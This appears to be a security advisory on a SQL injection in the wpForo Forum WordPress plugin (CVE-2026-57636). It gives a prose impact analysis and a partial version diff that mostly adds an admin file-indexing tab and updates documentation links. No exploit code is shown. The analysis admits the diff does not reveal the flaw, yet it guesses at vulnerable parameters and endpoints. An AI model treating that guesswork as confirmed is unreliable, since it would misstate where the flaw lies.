Published : June 29, 2026

CVE-2026-57636: wpForo Forum <= 3.0.9 Authenticated (Contributor+) SQL Injection PoC, Patch Analysis & Rule

Plugin wpforo
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.0.9
Patched Version 3.1.0
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57636:
This vulnerability is an authenticated SQL Injection in the wpForo Forum plugin for WordPress, affecting versions up to and including 3.0.9. The flaw allows attackers with Contributor-level access or higher to inject arbitrary SQL queries into existing database operations. The CVSS score of 6.5 reflects significant risk of sensitive data extraction from the database.

The root cause lies in improper handling of user-supplied parameters within the plugin’s SQL query construction. The provided code diff does not directly show the vulnerable SQL injection point but reveals an overall pattern of missing input validation. The diff introduces several new files and features including ‘ai-features-tab-ai-tools.php’, a new ‘File Indexing’ tab, and minor documentation link updates. The vulnerability exists because the plugin fails to escape and/or prepare user parameters before passing them to SQL queries, allowing for second-order injection or direct injection into queries.

An attacker with Contributor-level access can exploit this by inserting malicious SQL payloads through user-supplied parameters. The attack vector is likely via AJAX actions, REST endpoints, or form submissions that process untrusted data without sanitization. For example, parameters like ‘file_url’ or ‘name’ in the new AI tools upload forms could be manipulated. The exact endpoint is likely an admin-ajax.php handler or a custom admin POST endpoint that processes knowledge file indexing or priority settings.

The patch (version 3.1.0) likely introduces proper parameter sanitization and prepared statements across affected code paths. Without the patch, the plugin constructs SQL queries by directly concatenating user input, making it possible for attackers to break out of query context and append arbitrary SQL clauses like UNION SELECT to extract hashed passwords, user data, or other sensitive information.

Impact from exploitation includes extraction of the WordPress user database (including password hashes), arbitrary data retrieval from other database tables, and potential privilege escalation if combined with other vulnerabilities. The attacker must be authenticated with at least Contributor role. Confidentiality and integrity can be compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/pages/ai-features.php
+++ b/wpforo/admin/pages/ai-features.php
@@ -18,6 +18,7 @@
 require_once __DIR__ . '/tabs/ai-features-tab-overview.php';
 require_once __DIR__ . '/tabs/ai-features-tab-rag-indexing.php';
 require_once __DIR__ . '/tabs/ai-features-tab-wp-indexing.php';
+require_once __DIR__ . '/tabs/ai-features-tab-ai-tools.php';
 require_once __DIR__ . '/tabs/ai-features-tab-ai-tasks.php';
 require_once __DIR__ . '/tabs/ai-features-tab-analytics.php';
 require_once __DIR__ . '/tabs/ai-features-tab-ai-logs.php';
@@ -42,6 +43,13 @@
 	wp_enqueue_script( 'wpforo-ai-wp-indexing', WPFORO_URL . '/admin/assets/js/ai-features-wp-indexing.js', [ 'jquery' ], WPFORO_VERSION, true );
 }

+// File Indexing tab - load isolated scripts/styles and media library
+if ( $current_tab === 'ai_tools' ) {
+	wp_enqueue_media();
+	wp_enqueue_style( 'wpforo-ai-tools', WPFORO_URL . '/admin/assets/css/ai-features-tools.css', [ 'wpforo-ai-features' ], WPFORO_VERSION );
+	wp_enqueue_script( 'wpforo-ai-tools', WPFORO_URL . '/admin/assets/js/ai-features-tools.js', [ 'jquery', 'wpforo-ai-features' ], WPFORO_VERSION, true );
+}
+
 // Localize script with AJAX URL and nonce
 wp_localize_script( 'wpforo-ai-features', 'wpforoAIAdmin', [
 	'ajaxUrl'    => admin_url( 'admin-ajax.php' ),
@@ -163,6 +171,11 @@
 			$tabs['wp_indexing'] = __( 'WordPress Indexing', 'wpforo' );
 		}

+		// File Indexing tab - only show if custom_knowledge feature is available (Business+ plan + cloud storage)
+		if ( isset( WPF()->ai_client ) && WPF()->ai_client->is_feature_available( 'custom_knowledge' ) ) {
+			$tabs['ai_tools'] = __( 'File Indexing', 'wpforo' );
+		}
+
 		$tabs['ai_tasks']     = __( 'AI Tasks', 'wpforo' );
 		$tabs['analytics']    = __( 'AI Analytics', 'wpforo' );
 		$tabs['ai_logs']      = __( 'AI Logs', 'wpforo' );
@@ -240,6 +253,10 @@
 				wpforo_ai_render_wp_indexing_tab( $is_connected, $status );
 				break;

+			case 'ai_tools':
+				wpforo_ai_render_ai_tools_tab( $is_connected, $status );
+				break;
+
 			case 'ai_tasks':
 				wpforo_ai_render_ai_tasks_tab( $is_connected, $status );
 				break;
--- a/wpforo/admin/pages/board.php
+++ b/wpforo/admin/pages/board.php
@@ -153,7 +153,7 @@
                 <div class="wpf-board-box">
                     <div class="wpf-board-is_standalone">
                         <label>
-                            <?php _e( 'Turn WordPress to this forum board', 'wpforo' ) ?> <a href="https://wpforo.com/docs/wpforo-v2/getting-started/forum-page/turn-wordpress-to-wpforo/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"><i class="far fa-question-circle"></i></a>
+                            <?php _e( 'Turn WordPress to this forum board', 'wpforo' ) ?> <a href="https://wpforo.com/docs/wpforo-v3/getting-started/forum-page/turn-wordpress-to-wpforo/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"><i class="far fa-question-circle"></i></a>
                             <p class="wpf-info"><?php _e( 'This option will disable WordPress on front-end. Only forum pages and excluded post/pages will be available. wpForo will look like as a stand-alone forum.', 'wpforo' ) ?></p>
                         </label>
                         <div class="wpf-switch-field">
--- a/wpforo/admin/pages/forum.php
+++ b/wpforo/admin/pages/forum.php
@@ -67,7 +67,7 @@

             <div class="wpf-info-bar"
                  style="line-height: 1em; clear:both; padding: 5px 50px; box-sizing: border-box; font-size:15px; display:block; box-shadow:none; margin: 20px 0 10px 0; font-style: italic; background: #FFFFFF; width:100%; position: relative;">
-                <a href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-manager/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
+                <a href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-manager/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"
                    style="font-size: 16px; position: absolute; right: 15px; top: 15px;"><i class="far fa-question-circle"></i></a>
                 <ul style="list-style-type: disc; line-height:18px;">
                     <li style="list-style:none; margin-left:-17px; font-style:normal; font-weight:bold; padding-bottom: 5px;"><i class="fas fa-info-circle" aria-hidden="true"></i>  <?php _e(
@@ -308,7 +308,7 @@
                         <div id="side-sortables" class="meta-box-sortables ui-sortable">
                             <div id="forum_cat" class="postbox">
                                 <h3 class="wpf-box-header"><span><?php _e( 'Forum Options', 'wpforo' ); ?>  <a
-                                                href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-manager/add-new-forum/#forum-options"
+                                                href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-manager/add-new-forum/#forum-options"
                                                 title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a></span>
                                 </h3>
                                 <div class="inside">
@@ -369,7 +369,7 @@

                             <div id="forum_permissions" class="postbox">
                                 <h3 class="wpf-box-header"><span><?php _e( 'Forum Permissions', 'wpforo' ); ?>  <a
-                                                href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-manager/add-new-forum/#forum-permissions"
+                                                href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-manager/add-new-forum/#forum-permissions"
                                                 title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a></span>
                                 </h3>
                                 <div class="inside">
@@ -423,7 +423,7 @@
                                             <?php else: ?>
                                                 <?php _e( 'Category layout and cover image', 'wpforo' ); ?>
                                             <?php endif; ?>
-                                             <a href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-layouts/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>"
+                                             <a href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-layouts/" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>"
                                                      target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a>
                                         </span>
                                 </h3>
@@ -519,7 +519,7 @@

                             <div id="forum_slug" class="postbox">
                                 <h3 class="wpf-box-header"><span><?php _e( 'Forum Slug', 'wpforo' ); ?>  <a
-                                                href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-manager/add-new-forum/#forum-slug"
+                                                href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-manager/add-new-forum/#forum-slug"
                                                 title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a></span>
                                 </h3>
                                 <div class="inside">
@@ -531,7 +531,7 @@

                             <div id="forum_icon" class="postbox">
                                 <h3 class="wpf-box-header"><span><?php _e( 'Forum Icon', 'wpforo' ); ?>  <a
-                                                href="https://wpforo.com/docs/wpforo-v2/categories-and-forums/forum-manager/add-new-forum/#forum-icon"
+                                                href="https://wpforo.com/docs/wpforo-v3/categories-and-forums/forum-manager/add-new-forum/#forum-icon"
                                                 title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank" style="font-size: 14px;"><i class="far fa-question-circle"></i></a></span>
                                 </h3>
                                 <div class="inside" style="padding-top:10px;">
--- a/wpforo/admin/pages/phrase.php
+++ b/wpforo/admin/pages/phrase.php
@@ -165,7 +165,7 @@
                 <tr>
                     <td style="padding-bottom: 10px;">
                         <label for="langid" style="font-weight: bold;"><?php _e( 'Manage Phrases using XML File', 'wpforo' ); ?> <a
-                                    href="https://wpforo.com/docs/wpforo-v2/wpforo-settings/general-settings/#xml-language" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"><i
+                                    href="https://wpforo.com/docs/wpforo-v3/wpforo-settings/general-settings/#xml-language" title="<?php _e( 'Read the documentation', 'wpforo' ) ?>" target="_blank"><i
                                         class="far fa-question-circle"></i></a></label>
                         <p class="wpf-info"><?php _e(
                                     'This option is only related to XML language files. You should upload a translation XML file to have a new language option in this drop-down. If you are using PO/MO translation files you should change WordPress Language in Dashboard > Settings admin page to load according translation for wpForo.',
--- a/wpforo/admin/pages/settings.php
+++ b/wpforo/admin/pages/settings.php
@@ -17,7 +17,7 @@
 				<?php //esc_html_e("wpForo", "wpforo") ?>
             </div>
             <div class="wpf-head-info">
-                <span><a href="https://wpforo.com/docs/wpforo-v2/" target="_blank"><?php esc_html_e( "Documentation", "wpforo" ); ?></a></span>
+                <span><a href="https://wpforo.com/docs/wpforo-v3/" target="_blank"><?php esc_html_e( "Documentation", "wpforo" ); ?></a></span>
                 <span><a href="https://wpforo.com/community/" target="_blank"><?php esc_html_e( "Support", "wpforo" ); ?></a></span>
                 <span><a href="https://gvectors.com/product-category/wpforo/" target="_blank"><?php esc_html_e( "Addons", "wpforo" ); ?></a></span>
             </div>
--- a/wpforo/admin/pages/tabs/ai-features-tab-ai-tools.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-ai-tools.php
@@ -0,0 +1,430 @@
+<?php
+/**
+ * AI Features - AI Tools Tab (Custom Knowledge)
+ *
+ * Allows Business+ tenants to upload custom knowledge files (JSON/Markdown/Text)
+ * and configure priority settings for AI features.
+ *
+ * @package wpForo
+ * @subpackage Admin
+ * @since 3.0.0
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Render AI Tools tab content
+ *
+ * @param bool  $is_connected Whether tenant is connected to AI service
+ * @param array $status       Tenant status data from API
+ */
+function wpforo_ai_render_ai_tools_tab( $is_connected, $status ) {
+	if ( ! $is_connected ) {
+		?>
+		<div class="wpforo-ai-box wpforo-ai-not-connected-notice">
+			<div class="wpforo-ai-box-body">
+				<div class="wpforo-ai-status-badge status-warning">
+					<span class="dashicons dashicons-warning"></span>
+					<?php _e( 'Not Connected', 'wpforo' ); ?>
+				</div>
+				<p><?php _e( 'Please connect to wpForo AI API first in the Overview tab to enable AI Tools.', 'wpforo' ); ?></p>
+				<a href="<?php echo esc_url( admin_url( 'admin.php?page=wpforo-ai&tab=overview' ) ); ?>" class="button button-primary">
+					<?php _e( 'Go to Overview', 'wpforo' ); ?>
+				</a>
+			</div>
+		</div>
+		<?php
+		return;
+	}
+
+	// Feature gate check - Business+ plan required
+	$custom_knowledge_available = isset( WPF()->ai_client ) && WPF()->ai_client->is_feature_available( 'custom_knowledge' );
+	if ( ! $custom_knowledge_available ) {
+		?>
+		<div class="wpforo-ai-box wpforo-ai-upgrade-notice">
+			<div class="wpforo-ai-box-body">
+				<div class="wpforo-ai-status-badge status-warning">
+					<span class="dashicons dashicons-lock"></span>
+					<?php _e( 'Business Plan Required', 'wpforo' ); ?>
+				</div>
+				<p><?php _e( 'Custom Knowledge is available on Business and Enterprise plans. Upgrade to upload your own knowledge files for AI-powered search, chatbot, and bot replies.', 'wpforo' ); ?></p>
+				<a href="<?php echo esc_url( admin_url( 'admin.php?page=wpforo-ai&tab=overview' ) ); ?>" class="button button-primary">
+					<?php _e( 'View Plans', 'wpforo' ); ?>
+				</a>
+			</div>
+		</div>
+		<?php
+		return;
+	}
+
+	// Check storage mode - custom knowledge requires cloud mode
+	$storage_manager = WPF()->vector_storage->for_board( 0 );
+	$storage_mode = $storage_manager->get_storage_mode();
+
+	if ( $storage_mode !== 'cloud' ) {
+		?>
+		<div class="wpforo-ai-box wpforo-ai-upgrade-notice">
+			<div class="wpforo-ai-box-body">
+				<div class="wpforo-ai-status-badge status-warning">
+					<span class="dashicons dashicons-cloud"></span>
+					<?php _e( 'Cloud Storage Required', 'wpforo' ); ?>
+				</div>
+				<p><?php _e( 'Custom Knowledge requires Cloud storage mode. Please switch to Cloud storage in the Forum Indexing tab to use this feature.', 'wpforo' ); ?></p>
+				<a href="<?php echo esc_url( admin_url( 'admin.php?page=wpforo-ai&tab=rag_indexing' ) ); ?>" class="button button-primary">
+					<?php _e( 'Go to Forum Indexing', 'wpforo' ); ?>
+				</a>
+			</div>
+		</div>
+		<?php
+		return;
+	}
+
+	// Get remaining credits
+	$remaining_credits = 0;
+	if ( isset( $status['subscription']['credits_remaining'] ) ) {
+		$remaining_credits = (int) $status['subscription']['credits_remaining'];
+	}
+
+	// Get all boards for board settings
+	$all_boards = WPF()->board->get_boards( [ 'status' => true ] );
+	$is_multiboard = count( $all_boards ) > 1;
+	?>
+
+	<div class="wpforo-ai-tools-tab">
+
+		<!-- Add Custom Knowledge Box -->
+		<div class="wpforo-ai-box wpforo-ai-knowledge-upload-box">
+			<div class="wpforo-ai-box-header">
+				<h2>
+					<span class="dashicons dashicons-database-add"></span>
+					<?php _e( 'Add Custom Knowledge', 'wpforo' ); ?>
+				</h2>
+			</div>
+			<div class="wpforo-ai-box-body">
+				<p class="wpforo-ai-section-desc kind-text">
+					<span class="dashicons dashicons-media-text desc-icon"></span>
+					<?php _e( 'Add JSON, Markdown, or Text files to enhance AI search, chatbot, and bot replies with your custom content.', 'wpforo' ); ?>
+				</p>
+
+				<form id="wpforo-ai-knowledge-upload-form" class="wpforo-ai-knowledge-form kind-text">
+					<div class="wpforo-ai-url-input-group">
+						<input type="url"
+							   id="knowledge-file-url"
+							   name="file_url"
+							   placeholder="<?php esc_attr_e( 'Select a TXT, MD, or JSON file from Media Library or paste URL', 'wpforo' ); ?>"
+							   required>
+						<button type="button" class="button" id="knowledge-media-btn">
+							<span class="dashicons dashicons-admin-media"></span>
+							<?php _e( 'Media Library', 'wpforo' ); ?>
+						</button>
+						<button type="submit" class="button button-primary" id="knowledge-upload-btn" style="width: 20%; text-align: center; display: inline-block;">
+							<?php _e( 'Index Text File', 'wpforo' ); ?>
+						</button>
+					</div>
+
+					<!-- Hidden fields for auto-detected values -->
+					<input type="hidden" id="knowledge-file-type" name="file_type" value="text">
+					<input type="hidden" id="knowledge-file-name" name="name" value="">
+
+					<div class="wpforo-ai-upload-info">
+						<div class="wpforo-ai-file-detected" id="knowledge-file-detected" style="display: none;">
+							<span class="file-icon"></span>
+							<span class="file-name"></span>
+							<span class="file-type-badge"></span>
+						</div>
+						<div class="wpforo-ai-credits-info">
+							<span class="dashicons dashicons-database"></span>
+							<?php printf(
+								__( 'Credits: %s remaining', 'wpforo' ),
+								'<strong>' . number_format( $remaining_credits ) . '</strong>'
+							); ?>
+							<span class="wpforo-ai-credit-rate"><?php _e( '(1 credit per 100KB or 1 file with small size, max 20MB)', 'wpforo' ); ?></span>
+						</div>
+					</div>
+
+					<div class="wpforo-ai-upload-progress" id="knowledge-upload-progress" style="display: none;">
+						<div class="wpforo-ai-progress-bar">
+							<div class="wpforo-ai-progress-fill"></div>
+						</div>
+						<div class="wpforo-ai-progress-text"></div>
+					</div>
+				</form>
+
+				<p class="wpforo-ai-section-desc kind-pdf" style="margin-top: 24px;">
+					<span class="dashicons dashicons-media-document desc-icon"></span>
+					<?php _e( 'Add PDF files to enhance AI search, chatbot, and bot replies with your custom content.', 'wpforo' ); ?>
+				</p>
+
+				<form id="wpforo-ai-knowledge-pdf-upload-form" class="wpforo-ai-knowledge-form kind-pdf">
+					<div class="wpforo-ai-url-input-group">
+						<input type="url"
+							   id="knowledge-pdf-file-url"
+							   name="file_url"
+							   placeholder="<?php esc_attr_e( 'Select a PDF from Media Library or paste URL', 'wpforo' ); ?>"
+							   required>
+						<button type="button" class="button" id="knowledge-pdf-media-btn">
+							<span class="dashicons dashicons-admin-media"></span>
+							<?php _e( 'Media Library', 'wpforo' ); ?>
+						</button>
+						<button type="submit" class="button button-primary" id="knowledge-pdf-upload-btn" style="width: 20%; text-align: center; display: inline-block;">
+							<?php _e( 'Index PDF File', 'wpforo' ); ?>
+						</button>
+					</div>
+
+					<input type="hidden" id="knowledge-pdf-file-type" name="file_type" value="pdf">
+					<input type="hidden" id="knowledge-pdf-file-name" name="name" value="">
+
+					<div class="wpforo-ai-upload-info">
+						<div class="wpforo-ai-file-detected" id="knowledge-pdf-file-detected" style="display: none;">
+							<span class="file-icon"></span>
+							<span class="file-name"></span>
+							<span class="file-type-badge"></span>
+						</div>
+						<div class="wpforo-ai-credits-info">
+							<span class="dashicons dashicons-database"></span>
+							<?php printf(
+								__( 'Credits: %s remaining', 'wpforo' ),
+								'<strong>' . number_format( $remaining_credits ) . '</strong>'
+							); ?>
+							<span class="wpforo-ai-credit-rate"><?php _e( '(1 credit per 1 page, max 50MB)', 'wpforo' ); ?></span>
+						</div>
+					</div>
+
+					<div class="wpforo-ai-upload-progress" id="knowledge-pdf-upload-progress" style="display: none;">
+						<div class="wpforo-ai-progress-bar">
+							<div class="wpforo-ai-progress-fill"></div>
+						</div>
+						<div class="wpforo-ai-progress-text"></div>
+					</div>
+				</form>
+
+				<details class="wpforo-ai-file-format-help">
+					<summary><?php _e( 'Supported file formats', 'wpforo' ); ?></summary>
+					<div class="wpforo-ai-format-list">
+						<div class="format-item">
+							<strong>.json</strong> - <?php _e( 'Array of objects with "title" and "content" fields (recommended)', 'wpforo' ); ?>
+						</div>
+						<div class="format-item">
+							<strong>.md</strong> - <?php _e( 'Markdown with ## headings to split into chunks', 'wpforo' ); ?>
+						</div>
+						<div class="format-item">
+							<strong>.txt</strong> - <?php _e( 'Plain text, split by "---" separators or paragraphs', 'wpforo' ); ?>
+						</div>
+						<div class="format-item">
+							<strong>.pdf</strong> - <?php _e( 'PDF documents — each page becomes a section. Scanned/image-only PDFs are auto-OCR'd when text is too sparse.', 'wpforo' ); ?>
+						</div>
+					</div>
+				</details>
+			</div>
+		</div>
+
+		<!-- Indexed Knowledge Files Box -->
+		<div class="wpforo-ai-box wpforo-ai-knowledge-files-box">
+			<div class="wpforo-ai-box-header">
+				<h2>
+					<span class="dashicons dashicons-media-document"></span>
+					<?php _e( 'Indexed Knowledge Files', 'wpforo' ); ?>
+					<span class="wpforo-ai-file-count" id="knowledge-file-count"></span>
+				</h2>
+				<div class="wpforo-ai-header-actions">
+					<button type="button" class="button button-small" id="knowledge-refresh-files">
+						<span class="dashicons dashicons-update"></span>
+						<?php _e( 'Refresh', 'wpforo' ); ?>
+					</button>
+				</div>
+			</div>
+			<div class="wpforo-ai-box-body">
+				<div id="knowledge-files-loading" class="wpforo-ai-loading">
+					<span class="spinner is-active"></span>
+					<?php _e( 'Loading files...', 'wpforo' ); ?>
+				</div>
+
+				<div id="knowledge-files-empty" class="wpforo-ai-empty-state" style="display: none;">
+					<span class="dashicons dashicons-portfolio"></span>
+					<p><?php _e( 'No knowledge files indexed yet. Upload your first file above.', 'wpforo' ); ?></p>
+				</div>
+
+				<table id="knowledge-files-table" class="wp-list-table widefat fixed striped" style="display: none;">
+					<thead>
+						<tr>
+							<th class="column-name"><?php _e( 'Name', 'wpforo' ); ?></th>
+							<th class="column-type"><?php _e( 'Type', 'wpforo' ); ?></th>
+							<th class="column-size"><?php _e( 'Size', 'wpforo' ); ?></th>
+							<th class="column-chunks"><?php _e( 'Chunks', 'wpforo' ); ?></th>
+							<th class="column-credits"><?php _e( 'Credits', 'wpforo' ); ?></th>
+							<th class="column-status"><?php _e( 'Status', 'wpforo' ); ?></th>
+							<th class="column-actions"><?php _e( 'Actions', 'wpforo' ); ?></th>
+						</tr>
+					</thead>
+					<tbody id="knowledge-files-tbody">
+					</tbody>
+					<tfoot>
+						<tr class="wpforo-ai-files-totals">
+							<td class="column-name"><strong><?php _e( 'Total', 'wpforo' ); ?></strong></td>
+							<td class="column-type"></td>
+							<td class="column-size" id="knowledge-total-size">-</td>
+							<td class="column-chunks" id="knowledge-total-chunks">0</td>
+							<td class="column-credits" id="knowledge-total-credits">0</td>
+							<td class="column-status"></td>
+							<td class="column-actions"></td>
+						</tr>
+					</tfoot>
+				</table>
+			</div>
+		</div>
+
+		<!-- Board Settings Box -->
+		<div class="wpforo-ai-box wpforo-ai-knowledge-settings-box">
+			<div class="wpforo-ai-box-header">
+				<h2>
+					<span class="dashicons dashicons-admin-settings"></span>
+					<?php _e( 'Board Settings', 'wpforo' ); ?>
+				</h2>
+			</div>
+			<div class="wpforo-ai-box-body">
+				<?php if ( $is_multiboard ) : ?>
+				<div class="wpforo-ai-board-selector">
+					<label for="knowledge-board-select"><?php _e( 'Select Board:', 'wpforo' ); ?></label>
+					<select id="knowledge-board-select">
+						<?php foreach ( $all_boards as $board ) : ?>
+						<option value="<?php echo esc_attr( $board['boardid'] ); ?>">
+							<?php echo esc_html( $board['title'] ); ?>
+						</option>
+						<?php endforeach; ?>
+					</select>
+				</div>
+				<?php else : ?>
+				<input type="hidden" id="knowledge-board-select" value="0">
+				<?php endif; ?>
+
+				<form id="wpforo-ai-knowledge-settings-form" class="wpforo-ai-settings-form">
+					<input type="hidden" name="board_id" id="knowledge-settings-board-id" value="0">
+
+					<div id="knowledge-settings-loading" class="wpforo-ai-loading">
+						<span class="spinner is-active"></span>
+						<?php _e( 'Loading settings...', 'wpforo' ); ?>
+					</div>
+
+					<div id="knowledge-settings-content" style="display: none;">
+						<!-- Enable/Disable Toggle -->
+						<div class="wpforo-ai-setting-row wpforo-ai-enable-row">
+							<label class="wpforo-ai-toggle-label">
+								<span class="wpforo-ai-toggle">
+									<input type="checkbox" name="enabled" id="knowledge-enabled" value="1">
+									<span class="wpforo-ai-toggle-slider"></span>
+								</span>
+								<span class="toggle-text"><?php _e( 'Enable Custom Knowledge for this board', 'wpforo' ); ?></span>
+							</label>
+							<p class="description"><?php _e( 'When enabled, AI Search, Chatbot, and Bot Reply will include your custom knowledge files.', 'wpforo' ); ?></p>
+						</div>
+
+						<!-- Priority Settings (hidden by default, shown when enabled) -->
+						<div id="knowledge-priority-section" style="display: none;">
+							<h4><?php _e( 'Source Priority', 'wpforo' ); ?></h4>
+							<p class="description"><?php _e( 'Higher priority sources appear first and influence AI responses more.', 'wpforo' ); ?></p>
+
+							<div class="wpforo-ai-priority-row">
+								<label><?php _e( 'AI Search', 'wpforo' ); ?></label>
+								<div class="wpforo-ai-priority-selects">
+									<select name="search_priority[]" class="priority-select" data-feature="search">
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="search_priority[]" class="priority-select" data-feature="search">
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="search_priority[]" class="priority-select" data-feature="search">
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+									</select>
+								</div>
+							</div>
+
+							<div class="wpforo-ai-priority-row">
+								<label><?php _e( 'AI Chatbot', 'wpforo' ); ?></label>
+								<div class="wpforo-ai-priority-selects">
+									<select name="chat_priority[]" class="priority-select" data-feature="chat">
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="chat_priority[]" class="priority-select" data-feature="chat">
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="chat_priority[]" class="priority-select" data-feature="chat">
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+									</select>
+								</div>
+							</div>
+
+							<div class="wpforo-ai-priority-row">
+								<label><?php _e( 'Bot Reply', 'wpforo' ); ?></label>
+								<div class="wpforo-ai-priority-selects">
+									<select name="bot_reply_priority[]" class="priority-select" data-feature="bot_reply">
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="bot_reply_priority[]" class="priority-select" data-feature="bot_reply">
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+									</select>
+									<span class="priority-arrow">→</span>
+									<select name="bot_reply_priority[]" class="priority-select" data-feature="bot_reply">
+										<option value="wordpress"><?php _e( 'WordPress', 'wpforo' ); ?></option>
+										<option value="forum"><?php _e( 'Forum', 'wpforo' ); ?></option>
+										<option value="custom_knowledge"><?php _e( 'Custom Knowledge', 'wpforo' ); ?></option>
+									</select>
+								</div>
+							</div>
+						</div>
+
+						<div class="wpforo-ai-form-actions">
+							<button type="submit" class="button button-primary" id="knowledge-save-settings">
+								<?php _e( 'Save Settings', 'wpforo' ); ?>
+							</button>
+							<span class="wpforo-ai-save-status" id="settings-save-status"></span>
+						</div>
+					</div>
+				</form>
+			</div>
+		</div>
+
+	</div>
+
+	<!-- Delete Confirmation Modal -->
+	<div id="knowledge-delete-modal" class="wpforo-ai-modal" style="display: none;">
+		<div class="wpforo-ai-modal-content">
+			<div class="wpforo-ai-modal-header">
+				<h3><?php _e( 'Delete Knowledge File', 'wpforo' ); ?></h3>
+				<button type="button" class="wpforo-ai-modal-close">×</button>
+			</div>
+			<div class="wpforo-ai-modal-body">
+				<p><?php _e( 'Are you sure you want to delete this knowledge file? This will remove all indexed vectors and cannot be undone.', 'wpforo' ); ?></p>
+				<p class="wpforo-ai-delete-file-name"></p>
+			</div>
+			<div class="wpforo-ai-modal-footer">
+				<button type="button" class="button" id="knowledge-delete-cancel"><?php _e( 'Cancel', 'wpforo' ); ?></button>
+				<button type="button" class="button button-danger" id="knowledge-delete-confirm"><?php _e( 'Delete', 'wpforo' ); ?></button>
+			</div>
+		</div>
+	</div>
+
+	<?php
+}
--- a/wpforo/admin/pages/tabs/ai-features-tab-analytics.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-analytics.php
@@ -581,6 +581,7 @@
 		'content_indexing'             => __( 'Content Indexing', 'wpforo' ),
 		'multimodal_image_indexing'    => __( 'Image Indexing', 'wpforo' ),
 		'document_indexing'            => __( 'Document Indexing', 'wpforo' ),
+		'custom_knowledge_indexing'    => __( 'Custom Knowledge Indexing', 'wpforo' ),
 		'ai_topic_generator'           => __( 'Topic Generator', 'wpforo' ),
 		'ai_reply_generator'           => __( 'Reply Generator', 'wpforo' ),
 		'auto_tag_generation'          => __( 'Tag Maintenance', 'wpforo' ),
@@ -612,6 +613,7 @@
 		'content_indexing'             => '#9C27B0',
 		'multimodal_image_indexing'    => '#CE93D8',
 		'document_indexing'            => '#AB47BC',
+		'custom_knowledge_indexing'    => '#7B1FA2',
 		'ai_topic_generator'           => '#FF9800',
 		'ai_reply_generator'           => '#FF5722',
 		'auto_tag_generation'          => '#795548',
--- a/wpforo/admin/pages/tabs/ai-features-tab-overview.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-overview.php
@@ -1349,6 +1349,18 @@
 			'plan'        => 'business',
 			'preview'     => false,
 		],
+		'custom_knowledge_indexing' => [
+			'name'        => __( 'Custom Knowledge Indexing', 'wpforo' ),
